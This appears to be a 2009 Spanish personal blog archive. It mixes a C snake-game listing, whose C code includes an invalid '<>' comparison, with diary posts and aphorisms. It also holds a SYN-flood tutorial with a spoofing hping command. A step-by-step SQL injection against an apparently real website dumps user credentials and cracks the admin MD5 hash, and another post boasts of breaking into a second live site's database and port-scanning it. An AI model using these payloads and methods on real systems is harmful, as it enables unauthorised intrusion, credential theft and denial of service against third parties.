break;

case 2:
posicion[aux].ejecuta[1].y = posicion[aux].ejecuta[1].y + 1;
move(posicion[aux].ejecuta[1].y,posicion[aux].ejecuta[1].x);
printw("o");
refresh();
break;

case 3:
posicion[aux].ejecuta[1].x = posicion[aux].ejecuta[1].x - 1;
move(posicion[aux].ejecuta[1].y,posicion[aux].ejecuta[1].x);
printw("o");
refresh();
break;

case 4:
posicion[aux].ejecuta[1].x = posicion[aux].ejecuta[1].x + 1;
move(posicion[aux].ejecuta[1].y,posicion[aux].ejecuta[1].x);
printw("o");
refresh();
break;
}
}

if (posicion[longitud].ejecuta[1].y == aux_comida_y &&
posicion[longitud].ejecuta[1].x == aux_comida_x)
{
++longitud;

//pasar todas las ordenes que tenga al ultimo
int aux_el_ultimo;
for(aux_el_ultimo=1;aux_el_ultimo<=el_ultimo;aux_el_ultimo++)
{
posicion[longitud].ejecuta[aux_el_ultimo].direccion =
posicion[longitud - 1].ejecuta[aux_el_ultimo].direccion;
posicion[longitud].ejecuta[aux_el_ultimo].y =
posicion[longitud - 1].ejecuta[aux_el_ultimo].y;
posicion[longitud].ejecuta[aux_el_ultimo].x =
posicion[longitud - 1].ejecuta[aux_el_ultimo].x;
}


switch(posicion[longitud - 1].ejecuta[1].direccion)
{
//case 1,2,3,4
case 1:
//posicion[longitud].ejecuta[1].y = posicion[longitud - 1].ejecuta[1].y + 1;
posicion[longitud].ejecuta[1].y = posicion[longitud - 1].ejecuta[1].y + 1;
posicion[longitud].ejecuta[1].x = posicion[longitud - 1].ejecuta[1].x;

break;

case 2:
posicion[longitud].ejecuta[1].y = posicion[longitud - 1].ejecuta[1].y - 1;
posicion[longitud].ejecuta[1].x = posicion[longitud - 1].ejecuta[1].x;
break;

case 3:
posicion[longitud].ejecuta[1].y = posicion[longitud - 1].ejecuta[1].y;
posicion[longitud].ejecuta[1].x = posicion[longitud - 1].ejecuta[1].x + 1;
break;

case 4:
posicion[longitud].ejecuta[1].y = posicion[longitud - 1].ejecuta[1].y;
posicion[longitud].ejecuta[1].x = posicion[longitud - 1].ejecuta[1].x - 1;
break;
}

aux_comida_y = comida_y;
aux_comida_x = comida_x;


}




// linea de separacion
int aux_linea;
for(aux_linea=0;aux_linea<=23;aux_linea++)
{
move(aux_linea,51);
printw("|");
}

move(2,53);
printw("Comistes: %i",cantidad_comida);



refresh();
usleep(250000);
tiempo++;

//-- si esta fura de rango
if (posicion[1].ejecuta[1].y <> 23 ||
posicion[1].ejecuta[1].x <> 50)
{
fin_juego();
}

//si toca propio cuerpo
for(aux=3;aux<=longitud;aux++)
{
if (posicion[1].ejecuta[1].y == posicion[aux].ejecuta[1].y &&
posicion[1].ejecuta[1].x == posicion[aux].ejecuta[1].x)
{
fin_juego();
}
}

}


}


void ordena_posi_ejecutar(int aux)
{
// posicion[aux].ejecutar[0] -> tmp, swap
int n_cambio;
int ejecutable = 0;
int aux_ejecutable =1;
// ver ordenes ya que ya dispone detro de cada

while(posicion[aux].ejecuta[aux_ejecutable].direccion != 0)
{
++ejecutable;
++aux_ejecutable;
}


//cuando solo tiene una orden, recta
if (ejecutable ==1)
{
//no hace nada
}else
{



if(posicion[aux].ejecuta[1].y == posicion[aux].ejecuta[2].y &&
posicion[aux].ejecuta[1].x == posicion[aux].ejecuta[2].x)
{


for (n_cambio=1;n_cambio<=ejecutable;n_cambio++)
{
posicion[aux].ejecuta[n_cambio - 1].direccion =
posicion[aux].ejecuta[n_cambio].direccion;
posicion[aux].ejecuta[n_cambio - 1].y = posicion[aux].ejecuta[n_cambio].y;
posicion[aux].ejecuta[n_cambio - 1].x = posicion[aux].ejecuta[n_cambio].x;
}
posicion[aux].ejecuta[ejecutable].direccion = 0;


}
}


}



void dar_tecla()
{
int tecla;
tecla = getchar();
/*--------
move(10,52);
printw("%i",tecla);
refresh();
getch();
//--------- */
switch(tecla)
{
//arriba
case 119:
if(posicion[1].ejecuta[1].direccion != 2)
ordenes(posicion[1].ejecuta[1].y , posicion[1].ejecuta[1].x, longitud, 1);
break;

// abajo
case 115:
if(posicion[1].ejecuta[1].direccion != 1)
ordenes(posicion[1].ejecuta[1].y , posicion[1].ejecuta[1].x, longitud, 2);
break;

//izquierda
case 97:
if(posicion[1].ejecuta[1].direccion != 4)
ordenes(posicion[1].ejecuta[1].y, posicion[1].ejecuta[1].x, longitud, 3);
break;

//derecha
case 100:
if(posicion[1].ejecuta[1].direccion != 3)
ordenes(posicion[1].ejecuta[1].y, posicion[1].ejecuta[1].x, longitud, 4);
break;
}



}


void comida()
{

// MAX = 24 * 80 , pero usar 24 * 50
// comida y , x son aleatorio
do{
srand(time(NULL));
comida_y = rand()% 25;

srand(time(NULL));
comida_x = rand() % 51;
}while (comida_y == 0 && comida_x ==0);
move(comida_y, comida_x);
printw("*");
refresh();

}


void fin_juego()
{
move(9,52);
printw("============================");
move(10,52);
printw(" G A M E O V E R ");
move(11,52);
printw("============================");
move(13,52);
printw("Pulse una tecla para salir");
refresh();
getch();
endwin();
exit(0);
}


void bienvenida()
{

move(1,0);
printw("················································");
move(2,0);
printw("··············································");
move(3,0);
printw("············@@@@@@@@@@@·················");
move(4,0);
printw("··········@@@@@@@@@@@@@@@···············");
move(5,0);
printw("·········@@@········@@@@@@····················");
move(6,0);
printw("·······@@@@············@@@@···················");
move(7,0);
printw("······@@@@··············@@@@··················");
move(8,0);
printw("······@@@@··············@@@@··················");
move(9,0);
printw("·····@@@@·······@@······@@@@··················");
move(10,0);
printw("·····@@@@······@@@·····@@@@···················");
move(11,0);
printw("·····@@@@·······@@@@@@@@@@····················");
move(12,0);
printw("·····@@@@·········@@@@@@·························");
move(13,0);
printw("······@@@@····································");
move(14,0);
printw("······@@@@··················//················");
move(15,0);
printw("·······@@@@················//··········{}····");
move(16,0);
printw("·········@@@···············\\\\·················");
move(17,0);
printw("··········@@@···············\\\\··||··||··||····");
move(18,0);
printw("·············@@·············//··||··||··||····");
move(19,0);
printw("···············@@@·········//····\\\\//···||····");
move(20,0);
printw("········································");
refresh();

int aux_linea;
for(aux_linea=0;aux_linea<=23;aux_linea++)
{
move(aux_linea,51);
printw("|");
}
refresh();


move(4,52);
printw("Game: SNAKE");
move(6,52);
printw("Autor: Sui Zhao");
move(7,52);
printw("Fecha: 24-05-09");

move(9,52);
printw("============================");
move(10,52);
printw(" S T A R T T H E G A M E ");
move(11,52);
printw("============================");
move(13,52);
printw(" Pulse una tecla");
move(14,52);
printw(" para empezar...");
refresh();
getch();
}


/***************** kbhit ********************/
void changemode(int dir)
{
static struct termios oldt, newt;

if ( dir == 1 )
{
tcgetattr( STDIN_FILENO, &oldt);
newt = oldt;
newt.c_lflag &= ~( ICANON | ECHO );
tcsetattr( STDIN_FILENO, TCSANOW, &newt);
}
else
tcsetattr( STDIN_FILENO, TCSANOW, &oldt);
}

int kbhit (void)
{
struct timeval tv;
fd_set rdfs;

tv.tv_sec = 0;
tv.tv_usec = 0;

FD_ZERO(&rdfs);
FD_SET (STDIN_FILENO, &rdfs);

select(STDIN_FILENO+1, &rdfs, NULL, NULL, &tv);
return FD_ISSET(STDIN_FILENO, &rdfs);

}
/*********************************************/

=== EOF ====

Saludos, Good Luck!!
Read more »

martes, 13 de octubre de 2009

Perfección

Somos imperfecto. Nada y nadie es perfecto.

Pues me temo que se equivoca, Xd, hay perfección, y lo han demostrado,el numero 6 (numero perfecto), xD.
Read more »

lunes, 12 de octubre de 2009

Because you

Hoy estoy super contento y nadie me lo va a fastidiar, XD.

You are so kawai~~
Read more »

domingo, 11 de octubre de 2009

RELAX I

Si tu chica y Guillermo Puerta caen al río al mismo tiempo, ¿Qué haces?
*¿Quién es Guillermo Puerta? pon google traductor.

1) Salvar a tu chica
2) Salvar a Guillermito Puerta
3) Buscar piedra ¿?
-3.1) Tirar un pedraso a Guillermo Puerta y salvar a tu chica.
-3.2) Partir la piedra en 2, un pedraso para cada uno.


----
Qué emoción salgo en la primera página de google al poner "TCP header", *_*. :D
Read more »

[Tutorial] DDOS: SYN Flood

[Tutorial]DDOS: SYN Flood
---
Preview on Sui90 ...
TCP Header
---

Continuing...

[Se puede decir que es DOS, porque basta con 1 atacante]

How and why?

Para establecer una conexion entre 2 hosts deben, por parte de ambos, de haber enviado SYN y haber recibido ACK del otro, pasando por lo que se llama 3-way handshake:
1-Petición de conexión por parte del cliente.
2-Repuesta de conexión por parte del servidor.
3-Comienzo de envio de datos por parte del cliente.



Guille: SYN=1, ACKnowledgment Number=NULL
/*- ?Puedo conectar?*/

Server: SYN=1, ACKnowledgment Number=A2
/* Si, conéctate (abre una conexion en espera para que este se conecte)(half-opened) */

Guille: SYN=0, ACKnowledgment Number=B2
/*- Datos, datos, datos.... */

Los servidores siempre están en escucha y no saben quienes se van a conectar, y cuando un cliente se quiere conectar le envia una SYN, el server le responde con un SYN+ACK y le reserva una conexión esperando que éste le responda para establecer la conexión, pero si el cliente no responde éste espera vuelve a intentarlo pasado unos segundos, y si a varios intentos sigue sin éxito éste lo elimina de su lista conexión.
Las peticiones del cliente no tiene límite (porque utiliza junto con la técnica de IP Spoofing, falsificando una IP falsa o inexistente, y así no le llega ninguna repuesta del servidor), en cambio en el servidor tendrá que reservar para cada peticion una conexion y en éste tiene sus limitacioness.


*Ejm1. denegar a
todo el mundo el servicio de Telnet (23)

Lui(192.168.1.20): ¿Puedo conectar?, tengo IP 192.168.1.10
Servidor: Sí, (abro una conexión para 192.168.1.10)
Lui(192.168.1.20): ¿Puedo conectar?, tengo IP 192.168.1.10
Servidor: Sí, (abro una conexión para 192.168.1.10)
(...) infinidad de veces.
Guille: ¿Puedo conectar?, tengo IP 192.168.1.30
Servidor:... No puedo responder...

[Algo similar, xD]


Tools (Linux)
-hping

Sintaxis básica para este ataque (*Ejm1):
hping -i u2 -S -p 23 -a 192.168.1.33 192.168.1.1

-i u2: intervalo de tiempo a esperar para enviar siguiente paquete, en microsegundo
-S: enviar SYN
-p 23: puerto 23
-a 192.168.1.33: spoofear esta IP
192.168.1.33: IP de la víctima



Podemos ver los estados de las conexiones con netstat
Sintaxis básica:

netstat -n -p tcp
De testing

En la imagen probé denegar sevicio web(80) del IP 192.168.1.34

[Tengo hecho un video haciendo DOS a mi server, XD, una caca, :D ]



Saludos, Good Luck!!
Read more »

lunes, 5 de octubre de 2009

Lee, piensa, reflexiona, aplica. IV

¿Temes por sufrir?
-Pues ya sufres por temer.
Read more »

viernes, 2 de octubre de 2009

NADAR - easy

¿cómo? ¿El qué? ¿Pero cómo es posible? ¿No sabes nadar?, ¿¡NO SABES NADAR!?
-BASTA!!!

Voy a ser como Sheldon, voy a aprender a nadar con internet y por supuesto, no morir en el intento,XD.

Con este tuto, es difícil salir de aquí sin saber nadar... [:D]
Estilo de rana:







Teoricamente...
1- Cuando abres los brazos, sacas la cabeza y te tomas un respiro.
2- Al juntar las manos ya debes estar aguantando la respiración.
3- Con las dos manos juntas, estira para delante y espira
Y esto es un bucle sin fin hasta que te canses.

Y cuando te pares... bueno, a ver cómo flotas... en realidad no pasa nada, te hundes, te ahogas, te muer... digo te salvan. Sobre todo no piensen en Titanic... ;)

RECOMENDACIÓN: Hacer práctica en el suelo antes de votarte al agua [¬_¬]
AVISO: No me hago responsable si alguien te llama loco [XD]


Saludos, Good Luck!!
Read more »

miércoles, 30 de septiembre de 2009

[Tutorial] TCP Header

[Tutorial] TCP Header

Como decía otro día, intentaré explicar los diferentes métodos de ataques DDOS, pero antes de eso, para poder entenderlo necesitamos conocer cómo funciona TCP/IP.
La cabecera del protocolo IP ya lo había explicado hace unos tiempos atrás, esta vez explicaré la cabecera del protocolo TCP. Y para recordarle que de estamos en el nivel de transporte.

Vale para empezar, [como soy muy candul voy a hacer una COPY&PASTE de Luis Conde García]
TCP es un protocolo de transporte orientado a conexión. Esto hace que los datos se entreguen sin errores, sin omisión y en secuencia.

Tiene las siguientes características:

· Protocolo orientado a conexión. Es decir, las aplicaciones solicitan la conexión al destino y luego usan están conexión para entregar los datos, garantizando que estos serán entregados sin problemas.
· Punto a punto. Una conexión TCP tiene dos extremos, emisor y receptor.
· Confiabilidad. TCP garantiza que los datos transferidos serán entregados sin ninguna perdida, duplicación o errores de transmisión.
· Full duplex. Los extremos que participan en una conexión TCP pueden intercambiar datos en ambas direcciones simultáneamente.
· Conexión de inicio confiable. El uso de three-way handshake garantiza una conexión de inicio confiable y sincronizada entre los dos extremos de la conexión.
· Conexión de finalización aceptable. TCP garantiza la entrega de todos los datos antes de la finalización de la conexión.

(Definiciones hecho por: Luis Conde García )


De Linux


Y aquí empieza la parte interesante, XD.[Go! Follow me!]:

Source Port
Puerto utilizado por emisor para enviar los paquetes.



Destination Port
Puerto en la que escucha la aplicación del receptor para recibir los paquetes.



Sequence number (numero de secuencia):
Tiene como finalidad de añadir un número (secuenciado) a cada paquete y, al ser secuenciado el receptor sabrá inmediatamente si falta algún paquete por medio o no. En caso de que haya perdido X paquete, el receptor pide al emisor que reenvie los paquetes perdido.

El valor de este campo varía dependiendo del SYN:
SYN flag=1: Tendrá el valor del *^1 initial Sequence Number(ISN, numero de secuencia incial) + 1 .
SYN flag=0: Tendrá el valor de *^2 Sequence Number(SN,numero de secuencia) del primer byte del segmento.

*^1 ISN (Initial Sequence Number)
El número de secuencia inicial es generado aleatoriamente.

*^2 SN (Sequence Number)
El número de secuencia es incrementado por cada byte de dato.
En cada fragmento puede tener varios bytes, por eso dice "primer byte del segmento" [Understand? ;)].



Acknowledgment Number (Número de acuse de recibo):

Indica el Sequence Number del paquete que espera recibir, al mismo tiempo está indicando que el anterior lo ha recibido correctamente.

El valor de este campo varía dependiendo del ACK:
ACK flag= 1: *^3 Valor del Sequence Number que espera recibir.
ACK flag= 0: No tendrá ningún valor puesto que no está respondiendo.

Ejm:
A: SN=A1, Acknowledgment Number=NULL
/* soy paquete A1, no espero nada*/

B: SN=B1, Acknowledgment Number=A2
/* soy paquete B1, he recibido A1 y estoy esperando A2 */

A: SN=A2, Acknowledgment Number=B2
/* soy paquete A2, he recibido B1 y estoy esperando B2 */

B: SN=B2, Acknowledgment Number=A3
/* soy paquete B2, he recibido A2 y estoy esperando A3 */
(...)



Data Offset o Header Lenght (Logitud de la cabecera):
Es de 4 bit (256 valores): Los valores son representado para indicar el tama?o de la cabecera en bit.
Valor mínimo= 20 byte (32 bit de cada fila X 5 filas = 160 bit).
Valor máximo= 60 byte ((32 bit de cada fila X 5 filas = 160 bit) + 40 byte de opciones).



Reserved (reservado):
Campo de 8 bit reservado para futuro uso (No especifica para qué).



TCP Flags (Bit de control):

CWR (Congestion Window Reduced): (en muchos sitio aparece como reservado)

ECE (ECN-Echo):(en muchos sitio aparece como reservado)

URG (URGent Pointer):
URG=1: Indica que el campo "Urgente" es significativo.
URG=0: Indica que el campo "Urgente" es ignorado.

ACK (ACKnowledgment):
ACK=1: Indica que el campo "Acknowledgment Number" es significativo
ACK=0: Indica que el campo "Acknowledgment Number" es ignorado

PSH (PuSH Function):
PSH=1: Entrega al nivel de aplicación los datos almacenado en el buffer.
PSH=0: Los paquetes llega hasta el buffer del receptor, sin llegar al nivel de aplicación.

RST (ReSeT the connection):
RST=1: Indica que ha recibido un "error". Ejm: un puerto inválido.
RST=0: Todo correcto.

SYN (SYNchronize sequence numbers):
SYN=1: Tendrá el valor del *^1 initial Sequence Number(ISN, numero de secuencia incial) + 1.
SYN=0: Tendrá el valor de *^2 Sequence Number(SN,numero de secuencia) del primer byte del segmento.

FIN (FINal No more data from sender):
FIN=1: Indica que es el último fragmento, indica al receptor cierre del conexión.
FIN=0: Indica que no es el último fragmento.



Window size (Ventana):
En este campo de 16 bit, guarda el tamaño (hasta 65536 byte) que el receptor espera recibir. El emisor no podrá enviar más datos cuando haya llegado a su máximo, y tendrá que esperar el ACK del receptor(indicando que todos los datos haya llegado, y que siga enviando).

Ejm:
Receptor: SN=R1 ACK=E1 Window size=15 Byte
Emisor: SN=E1 ACK=NULL #fragmento de 5 byte#
Emisor: SN=E2 ACK=NULL #fragmento de 5 byte#
Emisor: SN=E3 ACK=R2 #fragmento de 5 byte#
Receptor: SN=R2 ACK=E4 Window size=15 Byte



Checksum (Suma de verificación):

Mediante una serie de algoritmos, asegura que la cabecera y los datos no llegen corruptos, a diferencia de IP que éste sólo comprueba la cabecera y no los datos.



Urgent (Urgente):
Indica que desde el pricipio hasta el numero de byte del dato del fragmento será de alto prioridad.
Un fragmento puede estar formado por parte urgente y parte normal, sólo que al llegar al receptor éste procesará en primer lugar la parte de alta prioridad, y los otros restante se quedará en la cola del buffer hasta que llegue otro PSH
URG flag=1: Este campo es significativo.
URG flag=0: Este campo será ignorado.



Referencias
http://en.wikipedia.org/wiki/Transmission_Control_Protocol
http://mike.passwall.com/networking/tcppacket.html
http://www.tcpipguide.com/free/t_TCPConnectionEstablishmentSequenceNumberSynchroniz.htm
http://www.freesoft.org/CIE/Course/Section4/8.htm
http://www.ncsa.illinois.edu/~vwelch/net_perf/tcp_windows.html

En PDF:
Tcp Header
View more documents from sui90.



Saludos, Good Luck!!
Read more »

viernes, 25 de septiembre de 2009

DDOS

De Buzón


DOS
Denial Of Service (Denegación de servicio)

Es un tipo de ataque que consiste en consumir todo el recurso del servicio proporcionado por el ervidor y causarle la imposiblidad de prestar su servicio a otros clientes.
Un ejemplo para explicar este tipo de ataque:
En un banco (el servidor) hay 5 trabajador para atenter a todos los clientes que venga a hacer ingresos (servicio) sin necesidad hacer mucha cola.
Pues bien, va Lui (el atacante), y trae 1 millón de euro en monedas de 1 céntimo para ingresarlo de céntimo en céntimo en distintas cuentas. (Aclaración: todos los servicios se realizan manualmente).
Para fastidiar más, Lui pide un duplicado para cada una de la factura.

Aquí Lui ha hecho 2 ataques de denegación de servicio:
1- Mantener ocupado a todos los trabajadores, dejándole sin tiempo para atender a otros clientes.
2- Gastarle todos los pepel de facturación.

Un ejemplo real:
Ejecución de script malicioso en el servidor [vulnerable, por supuesto] que consiste en crear infinidades archivos de tamaños considerables (con bucles).
-Consumo de recurso
-Llenar el disco duro del servidor

Otro ejemplo:
Ping de la muerte [õ_Õ]


DDOS
Distributed Denial of Service
Tiene el mismo fin que el del anterior pero realizado con muchos "atacantes" al mismo tiempo, la mayoría de las veces estos "atacantes" son víctimas al mismo tiempo, denominado zombi, que son controlado por una aplicación del atacante final.

Un ejemplo real:
ICMP Flood
SYN Flood


(Continuará...) [boaah, DESCANSO~~~, XD]
(tipos de ataques, howto works...)

Saludos, Good Luck!
Read more »

sábado, 19 de septiembre de 2009

Lee, piensa, reflexiona, aplica. III

"Si fuera su media naranja,
él será mi exprimidor"


Así que, no se confíen en los hombres. ;)
Read more »

viernes, 18 de septiembre de 2009

Así es cómo empezamos...

-"La pantalla negra de cargar los dispositivos [POST] es del SO"¿?
-"La BIOS está dentro del SO y es controlado por él"¿?
-"xcopy es un intérprete"¿?

T_T...
NOOOO!!! Otra vez NO...¿Porqué...? Me ha tocado otra vez una profesora que no sabe... y su módulo es de 7 hora semanales [hay que aprobarlo por lo coj*nes...] ... T_T, más triste aún, ya tiene marcado un trabajo y eso que fue el segundo día de su clase [hay que hacerlo aunque uno no quiera...T_T]
Ni tenía gana de discutirlo en ella sobre el tema de la BIOS...
Esta profe lo tiene todos bien memorizado pero mal estudiado... si es que desde el primer día ya viene con estos fallos... no sé si fiarme de lo me va a enseña después...

Y el otro... en vez de PLC dijo PCL [Bueno, este nada, fallo lo tiene cualquira, perdonado está, XD]
En fin, es lo que hay... [A AGUANTAR... qué penoso...T_T]
Read more »

sábado, 12 de septiembre de 2009

Preparando

Queda confirmado, el marte de la próxima semana comienza las clases, pero yo, de toda la vida, empiezo un día más tarde que los otros/as, [jeje, soy más chachi, nahh], sólo he asistido una vez al día de presentación y no me gustó nada.
Una cosa rara es que todos los años llego tarde en el primer día de la clase, sin ser apropósito. Hasta incluso llego tarde estando en el instituto 3 horas antes de que llegara los profesores... ¿Cómo es posible? Pues sí, 3 horas esperando el profesor y justo 10 segundos antes de que él viniera fuí al baño, y cuando salí todos los compañero que estaban esperando desaparecieron, y lo estube buscando un buen ratillo...

Ya tengo algo de información sobre la clase de este año, según lo que ví en la lista: somos 31 alumnos/as [y soy el último de la lista, como siempre, :D, nadie me supera con ZH], y hay 3 chicas [es lo primero en que uno se fija, porque es raro encontrar chicas en la informática, XD. muy pocas].
Hay 17 en el sengundo, y ninguno es chica... XD.

Y en la residencia... ví unos apellidos muy familiar en una lista de la admición, es, es la ... o_O oh MY GOD... -bah-, igual, a estudiar y FIESTAAAA~~ [I know you know ;)]

[No me hecheis de menos eh, XD]

let's go, start the game.
Read more »

jueves, 10 de septiembre de 2009

Lee, piensa, reflexiona, aplica. II

En una sociedad tan ocupada y llenas de prisas, al caer el sol, al terminar la rutina ¿En qué/quién piensas ahora que sientes vacíos?


Read more »

miércoles, 9 de septiembre de 2009

Another SQL Injection testing

Hay página web hay de todo y para todo, incluso páginas dedicado especialmente a las porcinas, osea cerdos, bastante curioso, XD. Estoy hablando de una web que encontré vulnerable y que hice pruebitas con él.

Bueno, la web además de estar mal hecha está super abandonado.

-Ejecuta directamente con la cuenta de root, con nombre de las columnas y tablas de DB muy común.
-No digamos que el administrador o la administradora (XD) de esta web no revisa los logs, porque ni si quiera revisa la web en sí.
-Hay bastante usuarios registrado con su nombre y contraeña exactamente igual o de puesto de lo más fácil.

-He conseguido la pass del admin, pero en MD5, no hay ningún cracker online con esta crackeada.
-He conseguido crackear la pass de root [el hash], XD (del DB), pero tiene el puerto de Mysql cerrado... [T_T].
-Hice un escaneo de puerto y... [jeje] el puerto 22, el del SSH, abierto. [o_O], pero no tiene puesta la misma contraseña para MySql ... [·_·]

Y tiene un montón de cosas más en la DB, cosas que no nos interesa...


Antes de que lo hiciera yo, ya hubo algún intruso allí...
De testing



Hay más de 20000 usuario registrado, pero no sé porqué sólo me aparece unos pocos de ellos (con group_concat), con LIMIT sí,aparece hasta el último, pero hay estar uno por uno.
De testing



Saludos, Good Luck!
Read more »

lunes, 7 de septiembre de 2009

Lee/piensa/reflexiona/aplícala

"La esperanza del mañana nos hace olvidar los sufrimientos de hoy."


"La imaginación es más importante que el conocimiento."


"Sólo es necesario un minuto para encontrarte con alguien, una hora para gustarte, un día para enamorarte, pero necesitas una eternidad para olvidarle."


Saludos, Good Luck!!
Read more »

1 año después...

De sui90

Una cosa menos para preocupar mientra circulo por la autopista.

---
Read more »

sábado, 5 de septiembre de 2009

SQL injection, caso práctico a un servidor MySQL >= 5

SQL injection, caso práctico a un servidor MySQL >= 5

Digo para servidores MySQL versiones mayor o igual que 5, es porque apartir de dicha version se le incluye una base de dato (information_schema) donde está la esquema de todas las informaciones del DB. Sabiendo y conociendo la estructura de este base de datos, y teniendo permiso de acceso a él [por defecto es accesible] podemos sacar muchas informaciones.

[Vamos a trabajar a mano y después aseguramos que esté bien con una herramienta!]

Para empezar hay buscar una web vulnerable, y no hay nada mejor que google para ayudar con esta búsqueda.

http://www.page*.com/news.php?nid=3
A simple vista por la extención .php parece que el servidor de base de datos es MySQL [pero no es seguro, porque tambien puede haber PHP conectado a una DB de Access, pero que no es lo normal].


Aseguramos que sea vulnerable con el típico de 1=1 y 1=0
http://www.page*.com/news.php?nid=3 AND 1=1
*página_1
Nos tiene que salir la página de la misma condición que ante de inyectar, ya que la condición coincide.

*página_2
http://www.page*.com/news.php?nid=3 AND 1=0
Nos saldrá una página parecido a la de correcta pero sin datos del DB, ya que la condición no coincide.


Y continuamos en obtener más informaciones acerca del servidor.

http://www.page*.com/news.php?nid=3'
Y nos sale un error de este tipo:
Fatal error: Call to a member function fetch_assoc() on a non-object in E:\wwwroot\phpser\wwwroot\news.php on line 40

Aquí obtenemos la ruta del servidor web y al parecer es servidor web ejecutado en un MS windows.


http://www.page*.com/news.php?nid=3 AND (@@version)>=5
Con esto afirmamos que es una version > 5.
No buscamos la versión concreta de MySQL, porque lo que nos interesa es el DB information_schema nada más, por ahora.


http://www.page*.com/news.php?nid=3 order by 10 --
Con este intentamos obtener el número de columas que tiene la tabla actual en la que está conectado. En caso de que haya puesto más de la cantidad de columna existente saldrá *pagina_2, en caso contrario *pagina_1.

http://www.page*.com/news.php?nid=3 order by 6 --
Así, jungando con los números, conseguimos saber que la tabla actual tiene 6 columnas.

Las 2 guiones al final indica el comentario, comentar todos los que vienen detrás, por si acaso la sentencia esté sin terminar y pueda causar error.


http://www.page*.com/news.php?nid=3 AND 1=0 UNION SELECT NULL, NULL, 1111, NULL, NULL, NULL FROM information_schema.tables
puse: 1=0 para que aparezca la *página_2, osea sin datos
1111: con esto averiguo el lugar del web donde saldrá los resultados, es de referencia nada más.
NULL's : son rellenos, porque si no el servidor cantaría un error por no coindicir las cantidades de columnas.


http://www.page*.com/news.php?nid=3 AND 1=0 UNION SELECT NULL, NULL, group_concat(table_name), NULL, NULL, NULL FROM information_schema.tables where table_schema=database()
group_concat(table_name): para que todos los registros de esa columnas salga juntado.
Otra manera es poniendo directamente table_name y jungando con LIMIT, pero es más trabajo.

EL resultado: just, mart, news, puser, restore, top.
De testing



http://www.page*.com/news.php?nid=3 AND 1=0 UNION SELECT NULL, NULL, group_concat(column_name), NULL, NULL, NULL FROM information_schema.columns where table_name=0x6a757374
0x6a757374: la tabla "just" en hexadecimal

Y así con las restos de las tablas. Y obtendríamos:

just: jid,jname,jtime,mid
mart: mid,mname,mtime
news: nid,ntitle,ncontent,ntime,ntj,mid
puser: pid,pname,ppass,ptime
restore: rid,rname,rcontent,riddress,rroot,tid
top: tid,title,tcontent,tname,tfrom,times,tj,tjj,tt,tnum,jid


[JEJE, si nos fijamos bien en la tabla "puser", tiene toda una pinta de que allí se guardan los user y pass, XD]


http://www.page*.com/news.php?nid=3 AND 1=0 UNION SELECT NULL, NULL, group_concat(pname, 0x7c7c,ppass), NULL , NULL, NULL FROM puser where pname like 0x2525
0x7c7c: "||" en hexadecimal, lo pongo para separar user y pass, porque sino aparecería juntado, muy lioso al leer.
0x2525: "%%" en hexadecimal, cualquier alfanumérico y cantidad de él.
De testing



tanto top888 como admin tiene misma contraseña: e10adc3949ba59abbe56e057f20f883e
a simple vista, es una contraseña encriptado, probé con el md5 [uno de los más comunes] y tachaan!!
MD5(123456) = e10adc3949ba59abbe56e057f20f883e

Done!! ya tememos admin con su password, pero temenos un problema... no sé por dónde ir para logearme... [Qué lastima, :D]

Bueno de toda manera esta página todavía está en construcción, todavía no tiene puesto el foro, y le falta bastante cosa, por lo que veo... Ya vendré cuando esté lista... ¬_¬




Todo los anteriores lo podría haberlo hecho tomando un café y dandole "clik's" a Mini MySqlt0r [creo que sólo funciona con MySQL v5], en cuestion de minutos te lo saca.


Y NO, todos los que he hecho manualmente no ha sido ninguna pérdida de tiempo, estoy super contento por saber y poder haberlo hecho manualmente, XD.


Saludos, Good Luck!
Read more »

Interno vs externo

-Sigues sin convencerme de que con la informática liga un montón, XD.

A la hora de elegir pareja para una relación estable durarera cuyo sea para toda la vida puede que sí, preferían un informático,con una mente sana, más que a un super dancer de la discoteca, chulo patatero.

Pero es como todos y todas, el primer proceso de enamoramiento se empieza con las miradas, y las miradas siempre se fija en los aspectos físicos, y después ya en los internos, que son más difícil de captar, porque muchas de las veces son rechazado antes de que llegara a conocer correctamente. ¿No le da oportunidad? ¿Prejuicio?

Hay quienes lo clasifica al conocer, "Este/a sólo será como un/a amig@", "Este/a será un/a compañer@", "Este/a de confianza", ¿porqué clasificar?, ¿porqué no dejar que las cosas fluya a su manera? Y si te equivocas? Puede que ese/a conocid@ sea tu verdadera media naranja o ese/a amig@ de confianza te traicione.

Si le da una oportunidad, esa oportunidad no es sólo para el/ella sino es para ambos.

Es fácil de empezar una relación [bueno, no tanto], pero es difícil de mantenerla, y para mantenerla, como para todas las cosas, hay que QUERER, PODER y SABER.
-Querer establecerla
-Saber, tener ideas para establecerla
-Poder, tener capacidad para esteblecerla

Aunque por más inteligencia que tengas es imposible de equilibrar la belleza. El gran porcentaje sigue prefiriendo a la belleza, aunque saben que ésta se gasta.

Bueno, son rollos que me asaltan a las tantas de la madrugada.
Read more »

viernes, 28 de agosto de 2009

Cracking WEP

Cosa que parecía una maravilla y que tardé varios días en entenderlo [los usos de cada comandos] y varias semanas en pasarlo a la práctica [en aquellos tiempos... :D], y ahora "los usuarios" lo consiguen sólo en cuestión de minutos...
Con las cantidades de herramientas escrita existente (ya sea compilado o en script) junto con la interfaz amigable, saber crackear una red inalámbrica con clave WEP ya no es cosa del otro mundo, por no decir impresionar, ni si quiera te mira al mensionar sobre eso, ahora es tan fácil como reirse de Bill Gate.
En realidad muchos de los que saben no es cómo hackear clave WEP sino cómo utilizar las aplicaciones de cracking WEP[dándole clik's], y es incleible que lo consigan sólo con conocimiento nulo.
"Alguien" me habló de cracking WEP y no sabía ni lo que era airacrack... linux, live-CD, modo monitor, injección, estación ... ¬_¬
Creo que la difunción de la debelidad de WEP es debido a BT (Back Track, sobre todo la versión 3), este live-CD viene con todo lo necesario para cracker una red inalámbrica, y al ser un live-CD los usuarios no tiene ni menor dificultad para arrangarlo.

Y no entiendo a los fabricante de los router, teniendo firmware con soporte WPA y utiliza WEP por defecto, y ellos son los que tienen más claro que nadie que WEP es una chapuza.


Recuerdo mi primer intento existoso... qué emocionado estaba! gritando a los cuatros vientos, corriendo por toda la casa... jeje, qué tiempo aquellos más bien empleada, XD.


Saludos, Good Luck!
Read more »

miércoles, 26 de agosto de 2009

Show me your perspectives

How many fingers?
De sui90


Looking from diferent way got a diferent vision, the result could be four, five or even eight or zero!

If you can see four fingers and another people see more or less than you that not mean any one of your are wrong, all depend on perspective from you are looking.

Four can be a good answer like five, eight or zero, better or no than another one depends on you.

Try to look from every perspectives you can find and accept another's perspectives. Remember that your perspective is not the only one.

